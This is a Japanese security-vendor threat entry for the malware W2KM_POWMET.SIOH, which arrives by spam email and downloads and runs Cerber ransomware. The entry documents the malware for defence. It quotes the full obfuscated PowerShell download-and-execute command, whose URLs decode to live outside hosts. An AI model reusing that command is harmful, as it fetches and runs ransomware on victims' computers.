W2KM_POWMET.SIOH

マルウェアは、他のマルウェアもしくはグレイウェア、または不正リモートユーザによるスパムメールに添付され、コンピュータに侵入します。

マルウェアは、ワーム活動の機能を備えていません。

マルウェアは、バックドア活動の機能を備えていません。

マルウェアは、ダウンロードしたファイルを実行します。

侵入方法

マルウェアは、他のマルウェアもしくはグレイウェア、または不正リモートユーザによるスパムメールに添付され、コンピュータに侵入します。

感染活動

マルウェアは、ワーム活動の機能を備えていません。

バックドア活動

マルウェアは、バックドア活動の機能を備えていません。

ダウンロード活動

マルウェアは、以下のWebサイトにアクセスし、不正なファイルをダウンロードして実行します。

• http://{BLOCKED}nmaster.top/support.php?f=3
• http://{BLOCKED}verti.top/support.php?f=3
• http://{BLOCKED}ceramics.com.vn/image/flags/1

マルウェアは、以下のファイル名でダウンロードしたファイルを保存します。

• %AppDataLocal%\Temp{Random numbers}.exe
  where {Random numbers} can be randomly generated from 1 to 65536

(註：%AppDataLocal%フォルダは、Windows 2000、XP および Server 2003 の場合、通常、"C:\Documents and Settings\＜ユーザ名＞\Local Settings\Application Data"、Windows Vista および 7 の場合、"C:\Users\＜ユーザ名＞\AppData\Local" です。)

トレンドマイクロの製品では、ダウンロードしたファイルを以下として検出します。

• Ransom_CERBER.SMALY0

マルウェアは、ダウンロードしたファイルを実行します。

その他

マルウェアは、以下のファイル名でダウンロードしたファイルを保存します。"{Random numbers}"には無作為に生成された1から65536までの数字があてはまります。

• %AppDataLocal%\Temp{Random numbers}.exe

マルウェアは、以下のPowershellコマンドを利用して不正なファイルをダウンロードし実行します。

• powershell.exe $vGeuXRnUX = new-object System.Net.WebClient;$ikdGAwQ = new-object random; $OoamRxZ = 'hgYtgYtgYpgY:gY/gY/gYkgYogYngYggYdgYogYngYmgYagYsgYtgYegYrgY.gYtgYogYpgY/gYsgYugYpgYpgYogYrgYtgY.gYpgYhgYpgY?gYfgY=gY3gY,gYhgYtgYtgYpgY:gY/gY/gYtgYogYngYsgYegYrgYvgYegYrgYtgYigY.gYtgYogYpgY/gYsgYugYpgYpgYogYrgYtgY.gYpgYhgYpgY?gYfgY=gY3gY,gYhgYtgYtgYpgY:gY/gY/gYlgYogYngYggYvgYagYngYcgYegYrgYagYmgYigYcgYsgY.gYcgYogYmgY.gYvgYngY/gYigYmgYagYggYegY/gYfgYlgYagYggYsgY/gY.gY.gY.gY/gY1' -replace 'gY', '';$ErvzDXtNFD = $OoamRxZ.Split(',');$XDEs = $ikdGAwQ.next(1, 65536);$VIQSv = $env:temp + '' + $XDEs + '.exe';foreach($dIgeW in $ErvzDXtNFD){try{$vGeuXRnUX.DownloadFile($dIgeW.ToString(), $VIQSv);Start-Process $VIQSv;break;}catch{write-host $_.Exception.Message;}}

マルウェアは、ルートキット機能を備えていません。

マルウェアは、脆弱性を利用した感染活動を行いません。